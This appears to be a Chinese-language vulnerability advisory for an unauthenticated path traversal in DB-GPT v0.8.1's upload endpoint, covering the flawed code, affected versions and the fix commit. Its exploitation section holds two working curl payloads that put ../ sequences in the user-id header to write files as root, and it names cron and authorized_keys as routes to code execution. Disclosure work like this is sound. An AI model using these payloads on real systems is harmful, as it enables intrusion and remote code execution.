CVE-2026-73034 — DB-GPT v0.8.1 未认证路径遍历 → 任意文件写入

CVSS 9.8（严重） · CWE-22 · GHSA/Issue #3104

概述

DB-GPT v0.8.1 中的 POST /api/v1/python/file/upload 接口接收 user-id HTTP 头，并将其 原样用作路径组件：

upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")

该接口无需认证——如果缺少该头，应用会回退到 user_id="001" 并赋予 role="admin"。向 user-id 中注入 ../ 序列即可逃逸上传根目录，使 未认证的远程攻击者能将任意文件写入容器进程（root） 可写的任何位置 → 直接形成 RCE 路径（Web 根目录 .py、cron 任务、authorized_keys 等）。

受影响版本： DB-GPT ≤ v0.8.1 修复版本： v0.8.2+ — 提交 e0c741bd2b5e521b128cffb3f68982dde3f7b359（新增 _SAFE_USER_ID_RE 白名单 ^[A-Za-z0-9_\-]+$、上传目录包含性检查，以及 TOCTOU 符号链接复检）。

漏洞利用

# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
  -H "user-id: ../../../../tmp/pwned" \
  -F "[email protected];filename=pwned.txt"

# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
  -H "user-id: ../../../../root" \
  -F "[email protected];filename=pwned_root.txt"

注意： FastAPI 将 user_id 参数映射到 user-id HTTP 头（连字符，而非 下划线）。

验证（2026-08-12，Docker 实验环境，ARM64）

完整脚本：poc_cve-2026-73034.sh（运行两个漏洞利用 + 容器内验证 + 修复后构建 对比）。

参考资料

• NVD：https://nvd.nist.gov/vuln/detail/CVE-2026-73034
• 修复：https://github.com/eosphoros-ai/DB-GPT/commit/e0c741bd2b5e521b128cffb3f68982dde3f7b359
• Issue：https://github.com/eosphoros-ai/DB-GPT/issues/3104
• 项目：https://github.com/eosphoros-ai/DB-GPT